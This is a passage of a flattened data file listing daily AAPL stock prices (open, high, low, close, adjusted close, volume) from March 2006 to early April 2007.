-2006-03-23,8.831428527832031,8.842857360839844,8.515714645385742,8.59428596496582,7.4778971672058105,356956600.0,AAPL -2006-03-24,8.607142448425293,8.705714225769043,8.432857513427734,8.565713882446289,7.453035354614258,267995000.0,AAPL -2006-03-27,8.621428489685059,8.768571853637695,8.485713958740234,8.501428604125977,7.397101402282715,277018000.0,AAPL -2006-03-28,8.518571853637695,8.591428756713867,8.321428298950195,8.3871431350708,7.297662258148193,342580700.0,AAPL -2006-03-29,8.447142601013184,8.931428909301758,8.238571166992188,8.904285430908203,7.747629642486572,586708500.0,AAPL -2006-03-30,8.974286079406738,9.04285717010498,8.789999961853027,8.964285850524902,7.799834251403809,347662700.0,AAPL -2006-03-31,9.035714149475098,9.087142944335938,8.89142894744873,8.960000038146973,7.796104907989502,203839300.0,AAPL -2006-04-03,9.095714569091797,9.15999984741211,8.94428539276123,8.949999809265137,7.7874040603637695,203947800.0,AAPL -2006-04-04,8.871428489685059,8.888571739196777,8.721428871154785,8.738571166992188,7.60344123840332,232981000.0,AAPL -2006-04-05,9.244285583496094,9.601428985595703,9.164285659790039,9.601428985595703,8.354212760925293,558352200.0,AAPL -2006-04-06,9.757143020629883,10.29285717010498,9.742856979370117,10.177143096923828,8.855141639709473,665942200.0,AAPL -2006-04-07,10.132857322692871,10.172857284545898,9.781428337097168,9.970000267028809,8.674903869628906,386309700.0,AAPL -2006-04-10,10.041428565979004,10.132857322692871,9.778571128845215,9.8100004196167,8.53569221496582,225878800.0,AAPL -2006-04-11,9.855713844299316,9.899999618530273,9.581428527832031,9.712857246398926,8.451165199279785,234829000.0,AAPL -2006-04-12,9.715714454650879,9.738571166992188,9.471428871154785,9.529999732971191,8.292061805725098,184973600.0,AAPL -2006-04-13,9.477143287658691,9.634285926818848,9.40142822265625,9.49571418762207,8.262228965759277,183669500.0,AAPL -2006-04-17,9.501428604125977,9.548571586608887,9.192856788635254,9.25857162475586,8.055892944335938,180484500.0,AAPL -2006-04-18,9.291428565979004,9.49571418762207,9.255714416503906,9.460000038146973,8.23115348815918,198711100.0,AAPL -2006-04-19,9.545714378356934,9.571428298950195,9.35285758972168,9.378571510314941,8.160304069519043,271508300.0,AAPL -2006-04-20,9.930000305175781,10.0,9.45714282989502,9.661428451538086,8.406417846679688,416745700.0,AAPL -2006-04-21,9.74142837524414,9.80571460723877,9.49571418762207,9.577142715454102,8.333083152770996,197246700.0,AAPL -2006-04-24,9.550000190734863,9.5600004196167,9.357142448425293,9.392857551574707,8.172735214233398,176757000.0,AAPL -2006-04-25,9.422857284545898,9.512857437133789,9.365714073181152,9.45285701751709,8.224937438964844,132265700.0,AAPL -2006-04-26,9.521428108215332,9.75428581237793,9.485713958740234,9.735713958740234,8.471053123474121,177721600.0,AAPL -2006-04-27,9.675714492797852,9.979999542236328,9.621428489685059,9.908571243286133,8.621454238891602,211486800.0,AAPL -2006-04-28,9.911428451538086,10.185714721679688,9.885714530944824,10.05571460723877,8.74948501586914,190009400.0,AAPL -2006-05-01,10.109999656677246,10.220000267028809,9.880000114440918,9.942856788635254,8.651288986206055,187595100.0,AAPL -2006-05-02,10.021428108215332,10.282856941223145,10.015714645385742,10.231428146362305,8.902374267578125,192915800.0,AAPL -2006-05-03,10.261428833007812,10.278571128845215,10.025713920593262,10.162857055664062,8.842710494995117,171747800.0,AAPL -2006-05-04,10.174285888671875,10.412857055664062,10.065713882446289,10.161428451538086,8.841468811035156,215105100.0,AAPL -2006-05-05,10.265714645385742,10.321428298950195,10.164285659790039,10.270000457763672,8.935935020446777,140977900.0,AAPL -2006-05-08,10.427143096923828,10.54285717010498,10.24571418762207,10.270000457763672,8.935935020446777,148712900.0,AAPL -2006-05-09,10.260000228881836,10.365714073181152,10.088571548461914,10.14714241027832,8.829039573669434,132916700.0,AAPL -2006-05-10,10.184286117553711,10.1899995803833,9.94428539276123,10.085714340209961,8.775588035583496,114972200.0,AAPL -2006-05-11,10.1128568649292,10.119999885559082,9.649999618530273,9.735713958740234,8.471053123474121,203172200.0,AAPL -2006-05-12,9.692856788635254,9.812856674194336,9.55142879486084,9.671428680419922,8.415120124816895,160443500.0,AAPL -2006-05-15,9.624285697937012,9.768571853637695,9.588571548461914,9.684286117553711,8.426305770874023,132294400.0,AAPL -2006-05-16,9.728571891784668,9.75,9.25,9.282856941223145,8.077021598815918,234185000.0,AAPL -2006-05-17,9.244285583496094,9.385714530944824,9.152856826782227,9.322856903076172,8.111824989318848,188548500.0,AAPL -2006-05-18,9.382857322692871,9.465714454650879,9.017143249511719,9.025713920593262,7.853279113769531,164610600.0,AAPL -2006-05-19,9.037142753601074,9.268571853637695,8.974286079406738,9.215714454650879,8.01860237121582,246466500.0,AAPL -2006-05-22,9.124285697937012,9.14142894744873,8.967143058776855,9.054286003112793,7.8781418800354,179743900.0,AAPL -2006-05-23,9.265714645385742,9.312856674194336,9.0,9.021428108215332,7.849553108215332,173603500.0,AAPL -2006-05-24,8.998571395874023,9.092857360839844,8.794285774230957,9.048571586608887,7.873172283172607,229007800.0,AAPL -2006-05-25,9.180000305175781,9.20714282989502,9.041428565979004,9.1899995803833,7.9962263107299805,115843000.0,AAPL -2006-05-26,9.187143325805664,9.222857475280762,9.020000457763672,9.078571319580078,7.899275302886963,108237500.0,AAPL -2006-05-30,9.041428565979004,9.04285717010498,8.74571418762207,8.74571418762207,7.609656810760498,140850500.0,AAPL -2006-05-31,8.822856903076172,8.827142715454102,8.384285926818848,8.53857135772705,7.429418087005615,320244400.0,AAPL -2006-06-01,8.550000190734863,8.89714241027832,8.502857208251953,8.881428718566895,7.7277421951293945,235627000.0,AAPL -2006-06-02,8.998571395874023,9.014286041259766,8.697142601013184,8.808571815490723,7.664346694946289,171446800.0,AAPL -2006-06-05,8.735713958740234,8.735713958740234,8.567142486572266,8.571428298950195,7.458006381988525,151446400.0,AAPL -2006-06-06,8.60285758972168,8.661428451538086,8.415714263916016,8.531428337097168,7.423203468322754,181509300.0,AAPL -2006-06-07,8.585714340209961,8.628571510314941,8.335714340209961,8.365714073181152,7.279014587402344,187626600.0,AAPL -2006-06-08,8.34857177734375,8.704285621643066,8.164285659790039,8.680000305175781,7.5524749755859375,349370700.0,AAPL -2006-06-09,8.739999771118164,8.794285774230957,8.442856788635254,8.462857246398926,7.3635406494140625,193959500.0,AAPL -2006-06-12,8.485713958740234,8.532856941223145,8.1371431350708,8.142857551574707,7.085110664367676,179446400.0,AAPL -2006-06-13,8.229999542236328,8.442856788635254,8.19428539276123,8.332857131958008,7.250425815582275,270160800.0,AAPL -2006-06-14,8.325714111328125,8.39714241027832,8.09857177734375,8.229999542236328,7.160930156707764,219534000.0,AAPL -2006-06-15,8.185714721679688,8.534285545349121,8.107142448425293,8.482856750488281,7.380939483642578,297595900.0,AAPL -2006-06-16,8.422857284545898,8.455714225769043,8.217143058776855,8.222857475280762,7.154715538024902,209525400.0,AAPL -2006-06-19,8.261428833007812,8.311429023742676,8.142857551574707,8.171428680419922,7.109967231750488,176143800.0,AAPL -2006-06-20,8.229999542236328,8.335714340209961,8.184286117553711,8.210000038146973,7.143529415130615,168243600.0,AAPL -2006-06-21,8.248571395874023,8.3871431350708,8.185714721679688,8.265714645385742,7.1920061111450195,215824000.0,AAPL -2006-06-22,8.314285278320312,8.535714149475098,8.295714378356934,8.511428833007812,7.405802249908447,241408300.0,AAPL -2006-06-23,8.531428337097168,8.595714569091797,8.390000343322754,8.404285430908203,7.3125762939453125,165050900.0,AAPL -2006-06-26,8.45285701751709,8.45714282989502,8.338571548461914,8.427143096923828,7.332464694976807,116634000.0,AAPL -2006-06-27,8.441428184509277,8.460000038146973,8.199999809265137,8.204285621643066,7.138556957244873,137652900.0,AAPL -2006-06-28,8.184286117553711,8.185714721679688,7.915714263916016,8.002857208251953,6.963292598724365,212676100.0,AAPL -2006-06-29,8.10857105255127,8.441428184509277,8.05571460723877,8.424285888671875,7.329977989196777,218349600.0,AAPL -2006-06-30,8.227143287658691,8.25,8.071428298950195,8.181428909301758,7.1186699867248535,184923900.0,AAPL -2006-07-03,8.217143058776855,8.311429023742676,8.191428184509277,8.278571128845215,7.203192710876465,48692700.0,AAPL -2006-07-05,8.164285659790039,8.228571891784668,8.079999923706055,8.142857551574707,7.085110664367676,129560200.0,AAPL -2006-07-06,8.15571403503418,8.199999809265137,7.944285869598389,7.9671430587768555,6.932219505310059,158302200.0,AAPL -2006-07-07,7.925714492797852,8.078571319580078,7.809999942779541,7.914285659790039,6.886227130889893,199840200.0,AAPL -2006-07-10,7.9571428298950195,8.069999694824219,7.785714149475098,7.857142925262451,6.836507797241211,132336400.0,AAPL -2006-07-11,7.872857093811035,7.998571395874023,7.789999961853027,7.949999809265137,6.917304039001465,206255700.0,AAPL -2006-07-12,7.8814287185668945,7.891428470611572,7.559999942779541,7.565714359283447,6.582935333251953,231832300.0,AAPL -2006-07-13,7.432857036590576,7.731428623199463,7.344285488128662,7.464285850524902,6.494680881500244,312476500.0,AAPL -2006-07-14,7.5,7.555714130401611,7.165714263916016,7.238571643829346,6.298287391662598,248259200.0,AAPL -2006-07-17,7.389999866485596,7.5871429443359375,7.378571510314941,7.481428623199463,6.509598731994629,256135600.0,AAPL -2006-07-18,7.594285488128662,7.692857265472412,7.407142639160156,7.557142734527588,6.575477600097656,250112100.0,AAPL -2006-07-19,7.565714359283447,7.8685712814331055,7.480000019073486,7.72857141494751,6.724637031555176,347685800.0,AAPL -2006-07-20,8.708571434020996,8.798571586608887,8.531428337097168,8.642857551574707,7.520157814025879,493036600.0,AAPL -2006-07-21,8.545714378356934,8.735713958740234,8.520000457763672,8.674285888671875,7.5475053787231445,222973100.0,AAPL -2006-07-24,8.751428604125977,8.871428489685059,8.632857322692871,8.774285316467285,7.634514808654785,180714100.0,AAPL -2006-07-25,8.825714111328125,8.869999885559082,8.682857513427734,8.847143173217773,7.6979079246521,147267400.0,AAPL -2006-07-26,8.857142448425293,9.234285354614258,8.811429023742676,9.124285697937012,7.93904972076416,224606900.0,AAPL -2006-07-27,9.214285850524902,9.28857135772705,8.979999542236328,9.057143211364746,7.880629062652588,183761200.0,AAPL -2006-07-28,9.134285926818848,9.382857322692871,9.071428298950195,9.369999885559082,8.152843475341797,172876900.0,AAPL -2006-07-31,9.54714298248291,9.804286003112793,9.468571662902832,9.708571434020996,8.44743824005127,223210400.0,AAPL -2006-08-01,9.60285758972168,9.704285621643066,9.420000076293945,9.597143173217773,8.350482940673828,177941400.0,AAPL -2006-08-02,9.664285659790039,9.811429023742676,9.644286155700684,9.737142562866211,8.472297668457031,137692100.0,AAPL -2006-08-03,9.701428413391113,10.0,9.687143325805664,9.941428184509277,8.650046348571777,210261100.0,AAPL -2006-08-04,9.578571319580078,9.80142879486084,9.279999732971191,9.757143020629883,8.489697456359863,463216600.0,AAPL -2006-08-07,9.674285888671875,9.942856788635254,9.472857475280762,9.601428985595703,8.354212760925293,311378200.0,AAPL -2006-08-08,9.584285736083984,9.587142944335938,9.215714454650879,9.25428581237793,8.052162170410156,249466000.0,AAPL -2006-08-09,9.347143173217773,9.371428489685059,9.057143211364746,9.084285736083984,7.904245376586914,238959700.0,AAPL -2006-08-10,9.035714149475098,9.25857162475586,8.95714282989502,9.152856826782227,7.963909149169922,174440000.0,AAPL -2006-08-11,9.032856941223145,9.161428451538086,8.9399995803833,9.092857360839844,7.911705493927002,194382300.0,AAPL -2006-08-14,9.149999618530273,9.317142486572266,9.085714340209961,9.134285926818848,7.947751045227051,179405100.0,AAPL -2006-08-15,9.334285736083984,9.5,9.257143020629883,9.492856979370117,8.259744644165039,215338200.0,AAPL -2006-08-16,9.585714340209961,9.724286079406738,9.475714683532715,9.71142864227295,8.449923515319824,195321000.0,AAPL -2006-08-17,9.714285850524902,9.808571815490723,9.597143173217773,9.65571403503418,8.401445388793945,145287100.0,AAPL -2006-08-18,9.672857284545898,9.771428108215332,9.60857105255127,9.701428413391113,8.441222190856934,134088500.0,AAPL -2006-08-21,9.614285469055176,9.615714073181152,9.449999809265137,9.50857162475586,8.273416519165039,131556600.0,AAPL -2006-08-22,9.525713920593262,9.760000228881836,9.5,9.65999984741211,8.405174255371094,144242000.0,AAPL -2006-08-23,9.714285850524902,9.807143211364746,9.562856674194336,9.615714073181152,8.3666410446167,134064700.0,AAPL -2006-08-24,9.69857120513916,9.74142837524414,9.467143058776855,9.687143325805664,8.428791999816895,163797900.0,AAPL -2006-08-25,9.619999885559082,9.864285469055176,9.615714073181152,9.821428298950195,8.545633316040039,135989700.0,AAPL -2006-08-28,9.785714149475098,9.80142879486084,9.525713920593262,9.568571090698242,8.325623512268066,184540300.0,AAPL -2006-08-29,9.569999694824219,9.60857105255127,9.302857398986816,9.497142791748047,8.263472557067871,236833100.0,AAPL -2006-08-30,9.619999885559082,9.688570976257324,9.525713920593262,9.565713882446289,8.323135375976562,170035600.0,AAPL -2006-08-31,9.611428260803223,9.757143020629883,9.522856712341309,9.692856788635254,8.433762550354004,143674300.0,AAPL -2006-09-01,9.782856941223145,9.807143211364746,9.688570976257324,9.768571853637695,8.49964427947998,102123700.0,AAPL -2006-09-05,9.85285758972168,10.214285850524902,9.79285717010498,10.21142864227295,8.884974479675293,253114400.0,AAPL -2006-09-06,10.154285430908203,10.24142837524414,9.95714282989502,10.00428581237793,8.70473861694336,243525800.0,AAPL -2006-09-07,10.085714340209961,10.497142791748047,10.035714149475098,10.399999618530273,9.049050331115723,316989400.0,AAPL -2006-09-08,10.481428146362305,10.510000228881836,10.272856712341309,10.359999656677246,9.014243125915527,223980400.0,AAPL -2006-09-11,10.347143173217773,10.532856941223145,10.20285701751709,10.357142448425293,9.011760711669922,237281100.0,AAPL -2006-09-12,10.40142822265625,10.492856979370117,10.20714282989502,10.375714302062988,9.02791976928711,421171800.0,AAPL -2006-09-13,10.407142639160156,10.617142677307129,10.328571319580078,10.600000381469727,9.223069190979004,286534500.0,AAPL -2006-09-14,10.531428337097168,10.667142868041992,10.494285583496094,10.595714569091797,9.219338417053223,200432400.0,AAPL -2006-09-15,10.657142639160156,10.71142864227295,10.470000267028809,10.585714340209961,9.210638999938965,245463400.0,AAPL -2006-09-18,10.54285717010498,10.69428539276123,10.471428871154785,10.55571460723877,9.184536933898926,176319500.0,AAPL -2006-09-19,10.585714340209961,10.622857093811035,10.399999618530273,10.53857135772705,9.169622421264648,177512300.0,AAPL -2006-09-20,10.625714302062988,10.811429023742676,10.60285758972168,10.751428604125977,9.354827880859375,205697800.0,AAPL -2006-09-21,10.75,10.865714073181152,10.574285507202148,10.664285659790039,9.27900505065918,198531200.0,AAPL -2006-09-22,10.614285469055176,10.619999885559082,10.368571281433105,10.428571701049805,9.0739107131958,166278000.0,AAPL -2006-09-25,10.544285774230957,10.837142944335938,10.531428337097168,10.821428298950195,9.41573429107666,214748100.0,AAPL -2006-09-26,10.882857322692871,11.111428260803223,10.871428489685059,11.087142944335938,9.646934509277344,275737000.0,AAPL -2006-09-27,11.024285316467285,11.067142486572266,10.831428527832031,10.915714263916016,9.497775077819824,202593300.0,AAPL -2006-09-28,11.002857208251953,11.068571090698242,10.850000381469727,11.001428604125977,9.57235336303711,180902400.0,AAPL -2006-09-29,11.015714645385742,11.074285507202148,10.954285621643066,10.997142791748047,9.568624496459961,101453100.0,AAPL -2006-10-02,10.728571891784668,10.838571548461914,10.614285469055176,10.69428539276123,9.305108070373535,178159800.0,AAPL -2006-10-03,10.635714530944824,10.70714282989502,10.455714225769043,10.582857131958008,9.208155632019043,197677200.0,AAPL -2006-10-04,10.585714340209961,10.779999732971191,10.451428413391113,10.768571853637695,9.369746208190918,207270700.0,AAPL -2006-10-05,10.64714241027832,10.880000114440918,10.59000015258789,10.6899995803833,9.301377296447754,170970800.0,AAPL -2006-10-06,10.631428718566895,10.720000267028809,10.544285774230957,10.60285758972168,9.225556373596191,116739700.0,AAPL -2006-10-09,10.54285717010498,10.725714683532715,10.50428581237793,10.661428451538086,9.276521682739258,109555600.0,AAPL -2006-10-10,10.648571014404297,10.654285430908203,10.4399995803833,10.544285774230957,9.174590110778809,132897100.0,AAPL -2006-10-11,10.488571166992188,10.568571090698242,10.371428489685059,10.46142864227295,9.102497100830078,142963800.0,AAPL -2006-10-12,10.515714645385742,10.770000457763672,10.514286041259766,10.751428604125977,9.354827880859375,148213800.0,AAPL -2006-10-13,10.804286003112793,10.982856750488281,10.677143096923828,10.717143058776855,9.324995040893555,171049200.0,AAPL -2006-10-16,10.74142837524414,10.84000015258789,10.684286117553711,10.771428108215332,9.372228622436523,127173200.0,AAPL -2006-10-17,10.720000267028809,10.752857208251953,10.577142715454102,10.6128568649292,9.234257698059082,120231300.0,AAPL -2006-10-18,10.678571701049805,10.767143249511719,10.558571815490723,10.64714241027832,9.26408863067627,283476900.0,AAPL -2006-10-19,11.322856903076172,11.421428680419922,11.165714263916016,11.284285545349121,9.818465232849121,378244300.0,AAPL -2006-10-20,11.281428337097168,11.427143096923828,11.238571166992188,11.421428680419922,9.937795639038086,159853400.0,AAPL -2006-10-23,11.427143096923828,11.699999809265137,11.392857551574707,11.6371431350708,10.125490188598633,208126800.0,AAPL -2006-10-24,11.601428985595703,11.668571472167969,11.45714282989502,11.578571319580078,10.074525833129883,115803100.0,AAPL -2006-10-25,11.621428489685059,11.714285850524902,11.572856903076172,11.668571472167969,10.15283489227295,121303700.0,AAPL -2006-10-26,11.699999809265137,11.800000190734863,11.59000015258789,11.74142837524414,10.216227531433105,108189200.0,AAPL -2006-10-27,11.678571701049805,11.778571128845215,11.430000305175781,11.487142562866211,9.994976043701172,148741600.0,AAPL -2006-10-30,11.427143096923828,11.557143211364746,11.357142448425293,11.488571166992188,9.996214866638184,124979400.0,AAPL -2006-10-31,11.635714530944824,11.668571472167969,11.46142864227295,11.582857131958008,10.078253746032715,125368600.0,AAPL -2006-11-01,11.585714340209961,11.625714302062988,11.19428539276123,11.308571815490723,9.839599609375,152798100.0,AAPL -2006-11-02,11.274285316467285,11.331428527832031,11.214285850524902,11.282856941223145,9.81722354888916,116370800.0,AAPL -2006-11-03,11.337142944335938,11.361428260803223,11.1128568649292,11.184286117553711,9.731456756591797,107972200.0,AAPL -2006-11-06,11.278571128845215,11.437143325805664,11.204285621643066,11.3871431350708,9.907963752746582,108644200.0,AAPL -2006-11-07,11.492856979370117,11.571428298950195,11.447142601013184,11.501428604125977,10.007404327392578,131483100.0,AAPL -2006-11-08,11.431428909301758,11.812856674194336,11.412857055664062,11.778571128845215,10.248546600341797,172729200.0,AAPL -2006-11-09,11.842857360839844,12.09857177734375,11.731428146362305,11.90571403503418,10.359174728393555,230763400.0,AAPL -2006-11-10,11.935714721679688,11.942856788635254,11.785714149475098,11.874285697937012,10.331827163696289,93466100.0,AAPL -2006-11-13,11.888571739196777,12.064285278320312,11.80571460723877,12.050000190734863,10.48471736907959,112668500.0,AAPL -2006-11-14,12.114285469055176,12.142857551574707,11.985713958740234,12.142857551574707,10.565511703491211,147238700.0,AAPL -2006-11-15,12.149999618530273,12.271428108215332,12.0,12.007143020629883,10.447425842285156,163830800.0,AAPL -2006-11-16,12.124285697937012,12.328571319580078,12.088571548461914,12.229999542236328,10.641334533691406,173485200.0,AAPL -2006-11-17,12.162857055664062,12.277142524719238,12.142857551574707,12.264286041259766,10.671167373657227,116606000.0,AAPL -2006-11-20,12.199999809265137,12.428571701049805,12.171428680419922,12.35285758972168,10.748231887817383,142698500.0,AAPL -2006-11-21,12.488571166992188,12.657142639160156,12.44428539276123,12.657142639160156,11.012992858886719,155666700.0,AAPL -2006-11-22,12.712857246398926,12.964285850524902,12.550000190734863,12.90142822265625,11.225547790527344,167985300.0,AAPL -2006-11-24,12.789999961853027,13.29714298248291,12.785714149475098,13.09000015258789,11.38962173461914,129669400.0,AAPL -2006-11-27,13.215714454650879,13.308571815490723,12.785714149475098,12.791428565979004,11.129834175109863,268709000.0,AAPL -2006-11-28,12.908571243286133,13.138571739196777,12.84428596496582,13.115714073181152,11.411994934082031,259043400.0,AAPL -2006-11-29,13.285714149475098,13.307143211364746,12.892857551574707,13.114285469055176,11.410751342773438,289270800.0,AAPL -2006-11-30,13.172857284545898,13.239999771118164,13.00857162475586,13.09428596496582,11.393350601196289,217621600.0,AAPL -2006-12-01,13.114285469055176,13.1899995803833,12.871428489685059,13.045714378356934,11.351089477539062,198769900.0,AAPL -2006-12-04,13.125714302062988,13.149999618530273,12.928571701049805,13.017143249511719,11.326227188110352,177384200.0,AAPL -2006-12-05,13.092857360839844,13.1899995803833,12.981428146362305,13.03857135772705,11.344874382019043,165709600.0,AAPL -2006-12-06,12.94857120513916,13.05571460723877,12.8100004196167,12.832857131958008,11.16588020324707,159546100.0,AAPL -2006-12-07,12.861428260803223,12.928571701049805,12.414285659790039,12.434286117553711,10.819084167480469,251206900.0,AAPL -2006-12-08,12.46142864227295,12.770000457763672,12.428571701049805,12.60857105255127,10.970728874206543,196069300.0,AAPL -2006-12-11,12.699999809265137,12.757143020629883,12.578571319580078,12.678571701049805,11.031635284423828,124945100.0,AAPL -2006-12-12,12.658571243286133,12.691428184509277,12.218571662902832,12.30571460723877,10.707216262817383,256655000.0,AAPL -2006-12-13,12.564285278320312,12.724286079406738,12.449999809265137,12.721428871154785,11.068926811218262,214263000.0,AAPL -2006-12-14,12.721428871154785,12.857142448425293,12.60857105255127,12.649999618530273,11.006776809692383,208082700.0,AAPL -2006-12-15,12.717143058776855,12.74571418762207,12.475714683532715,12.531428337097168,10.903606414794922,184984800.0,AAPL -2006-12-18,12.518571853637695,12.571428298950195,12.084285736083984,12.210000038146973,10.623934745788574,180394200.0,AAPL -2006-12-19,12.10428524017334,12.382857322692871,11.945713996887207,12.329999923706055,10.728341102600098,227851400.0,AAPL -2006-12-20,12.35285758972168,12.381428718566895,12.105713844299316,12.10857105255127,10.53568172454834,141922900.0,AAPL -2006-12-21,12.100000381469727,12.21142864227295,11.742856979370117,11.842857360839844,10.304483413696289,225899800.0,AAPL -2006-12-22,11.922857284545898,12.005714416503906,11.657142639160156,11.742856979370117,10.217473983764648,153325900.0,AAPL -2006-12-26,11.735713958740234,11.795714378356934,11.55571460723877,11.644286155700684,10.131704330444336,122672200.0,AAPL -2006-12-27,11.164285659790039,11.714285850524902,10.967143058776855,11.64571475982666,10.13294792175293,483938700.0,AAPL -2006-12-28,11.460000038146973,11.607142448425293,11.378571510314941,11.552857398986816,10.052152633666992,279969200.0,AAPL -2006-12-29,11.992856979370117,12.199999809265137,11.908571243286133,12.119999885559082,10.545624732971191,269107300.0,AAPL -2007-01-03,12.327142715454102,12.368571281433105,11.699999809265137,11.971428871154785,10.416352272033691,309579900.0,AAPL -2007-01-04,12.007143020629883,12.278571128845215,11.974286079406738,12.237142562866211,10.647547721862793,211815100.0,AAPL -2007-01-05,12.252857208251953,12.314285278320312,12.057143211364746,12.149999618530273,10.571725845336914,208685400.0,AAPL -2007-01-08,12.279999732971191,12.361428260803223,12.182857513427734,12.210000038146973,10.623934745788574,199276700.0,AAPL -2007-01-09,12.350000381469727,13.282856941223145,12.164285659790039,13.224286079406738,11.506465911865234,837324600.0,AAPL -2007-01-10,13.535714149475098,13.971428871154785,13.350000381469727,13.857142448425293,12.057113647460938,738220000.0,AAPL -2007-01-11,13.705714225769043,13.825714111328125,13.585714340209961,13.685714721679688,11.907951354980469,360063200.0,AAPL -2007-01-12,13.512857437133789,13.579999923706055,13.318571090698242,13.517143249511719,11.761279106140137,328172600.0,AAPL -2007-01-16,13.668571472167969,13.892857551574707,13.635714530944824,13.871428489685059,12.069543838500977,311019100.0,AAPL -2007-01-17,13.937143325805664,13.942856788635254,13.545714378356934,13.564285278320312,11.802298545837402,411565000.0,AAPL -2007-01-18,13.157142639160156,13.158571243286133,12.721428871154785,12.724286079406738,11.071414947509766,591151400.0,AAPL -2007-01-19,12.661428451538086,12.807143211364746,12.588571548461914,12.642857551574707,11.000563621520996,341118400.0,AAPL -2007-01-22,12.734285354614258,12.737142562866211,12.235713958740234,12.398571014404297,10.788008689880371,363506500.0,AAPL -2007-01-23,12.247142791748047,12.501428604125977,12.215714454650879,12.242856979370117,10.6525239944458,301856100.0,AAPL -2007-01-24,12.382857322692871,12.449999809265137,12.29714298248291,12.385714530944824,10.776822090148926,231953400.0,AAPL -2007-01-25,12.44428539276123,12.642857551574707,12.289999961853027,12.321428298950195,10.72088623046875,226493400.0,AAPL -2007-01-26,12.44428539276123,12.481428146362305,12.14142894744873,12.197142601013184,10.612743377685547,246718500.0,AAPL -2007-01-29,12.328571319580078,12.378571510314941,12.218571662902832,12.277142524719238,10.682353019714355,225416100.0,AAPL -2007-01-30,12.347143173217773,12.355713844299316,12.178571701049805,12.221428871154785,10.633875846862793,144492600.0,AAPL -2007-01-31,12.122857093811035,12.285714149475098,12.050000190734863,12.247142791748047,10.656250953674316,214017300.0,AAPL -2007-02-01,12.318571090698242,12.324285507202148,12.105713844299316,12.105713844299316,10.533191680908203,166085500.0,AAPL -2007-02-02,12.017143249511719,12.178571701049805,11.95714282989502,12.107142448425293,10.53443717956543,155382500.0,AAPL -2007-02-05,12.04285717010498,12.175714492797852,11.99142837524414,11.99142837524414,10.433752059936523,144713100.0,AAPL -2007-02-06,12.064285278320312,12.067142486572266,11.837142944335938,12.021428108215332,10.459856033325195,216098400.0,AAPL -2007-02-07,12.068571090698242,12.34000015258789,11.935714721679688,12.307143211364746,10.708456993103027,266706300.0,AAPL -2007-02-08,12.204285621643066,12.35857105255127,12.201428413391113,12.311429023742676,10.712185859680176,169757700.0,AAPL -2007-02-09,12.268571853637695,12.314285278320312,11.8871431350708,11.89571475982666,10.350472450256348,215135200.0,AAPL -2007-02-12,12.061429023742676,12.168571472167969,11.947142601013184,12.125714302062988,10.550594329833984,181017900.0,AAPL -2007-02-13,12.165714263916016,12.184286117553711,12.04285717010498,12.100000381469727,10.528221130371094,145246500.0,AAPL -2007-02-14,12.09000015258789,12.234285354614258,12.081428527832031,12.185714721679688,10.602801322937012,126995400.0,AAPL -2007-02-15,12.205714225769043,12.231428146362305,12.111428260803223,12.172857284545898,10.591614723205566,90915300.0,AAPL -2007-02-16,12.178571701049805,12.201428413391113,12.09428596496582,12.118571281433105,10.544380187988281,99967000.0,AAPL -2007-02-20,12.092857360839844,12.308571815490723,12.022856712341309,12.271428108215332,10.67738151550293,154425600.0,AAPL -2007-02-21,12.282856941223145,12.784285545349121,12.279999732971191,12.742856979370117,11.087570190429688,288828400.0,AAPL -2007-02-22,12.971428871154785,12.972857475280762,12.64714241027832,12.787142753601074,11.126102447509766,209556200.0,AAPL -2007-02-23,12.737142562866211,12.90571403503418,12.692856788635254,12.724286079406738,11.071414947509766,129473400.0,AAPL -2007-02-26,12.834285736083984,12.857142448425293,12.515714645385742,12.644286155700684,11.001805305480957,153962200.0,AAPL -2007-02-27,12.328571319580078,12.4399995803833,11.915714263916016,11.989999771118164,10.432510375976562,286453300.0,AAPL -2007-02-28,11.857142448425293,12.228571891784668,11.857142448425293,12.087142944335938,10.517033576965332,229868800.0,AAPL -2007-03-01,12.00428581237793,12.615714073181152,11.964285850524902,12.437143325805664,10.82157039642334,353882200.0,AAPL -2007-03-02,12.39571475982666,12.505714416503906,12.172857284545898,12.201428413391113,10.616474151611328,215000100.0,AAPL -2007-03-05,12.270000457763672,12.664285659790039,12.251428604125977,12.331428527832031,10.729585647583008,209724900.0,AAPL -2007-03-06,12.54285717010498,12.615714073181152,12.485713958740234,12.59857177734375,10.962030410766602,180796700.0,AAPL -2007-03-07,12.578571319580078,12.710000038146973,12.492856979370117,12.531428337097168,10.903606414794922,156571100.0,AAPL -2007-03-08,12.65571403503418,12.674285888671875,12.494285583496094,12.571428298950195,10.938411712646484,127752800.0,AAPL -2007-03-09,12.685714721679688,12.692856788635254,12.485713958740234,12.567142486572266,10.934679985046387,112959000.0,AAPL -2007-03-12,12.581428527832031,12.855713844299316,12.569999694824219,12.838571548461914,11.170853614807129,182352100.0,AAPL -2007-03-13,12.772856712341309,12.942856788635254,12.628571510314941,12.628571510314941,10.988130569458008,216972700.0,AAPL -2007-03-14,12.657142639160156,12.857142448425293,12.5600004196167,12.857142448425293,11.18701457977295,199146500.0,AAPL -2007-03-15,12.851428985595703,12.908571243286133,12.75857162475586,12.795714378356934,11.133562088012695,139874700.0,AAPL -2007-03-16,12.791428565979004,12.855713844299316,12.760000228881836,12.798571586608887,11.1360502243042,142926000.0,AAPL -2007-03-19,12.89142894744873,13.078571319580078,12.798571586608887,13.018571853637695,11.327472686767578,178240300.0,AAPL -2007-03-20,13.050000190734863,13.119999885559082,13.00857162475586,13.068571090698242,11.370973587036133,122229100.0,AAPL -2007-03-21,13.14142894744873,13.428571701049805,13.092857360839844,13.40999984741211,11.668054580688477,171724000.0,AAPL -2007-03-22,13.390000343322754,13.479999542236328,13.285714149475098,13.422857284545898,11.679242134094238,140373100.0,AAPL -2007-03-23,13.335714340209961,13.438570976257324,13.328571319580078,13.359999656677246,11.624547958374023,112721000.0,AAPL -2007-03-26,13.427143096923828,13.699999809265137,13.328571319580078,13.692856788635254,11.914167404174805,216246800.0,AAPL -2007-03-27,13.672857284545898,13.832857131958008,13.571428298950195,13.6371431350708,11.865690231323242,233013200.0,AAPL -2007-03-28,13.554286003112793,13.628571510314941,13.307143211364746,13.319999694824219,11.589742660522461,235584300.0,AAPL -2007-03-29,13.455714225769043,13.455714225769043,13.175714492797852,13.392857551574707,11.65313720703125,181430900.0,AAPL -2007-03-30,13.468571662902832,13.525713920593262,13.25,13.272856712341309,11.548724174499512,150139500.0,AAPL -2007-04-02,13.44857120513916,13.464285850524902,13.28857135772705,13.378571510314941,11.640707969665527,125498100.0,AAPL -2007-04-03,13.44857120513916,13.60428524017334,13.394286155700684,13.5,11.746362686157227,145983600.0,AAPL 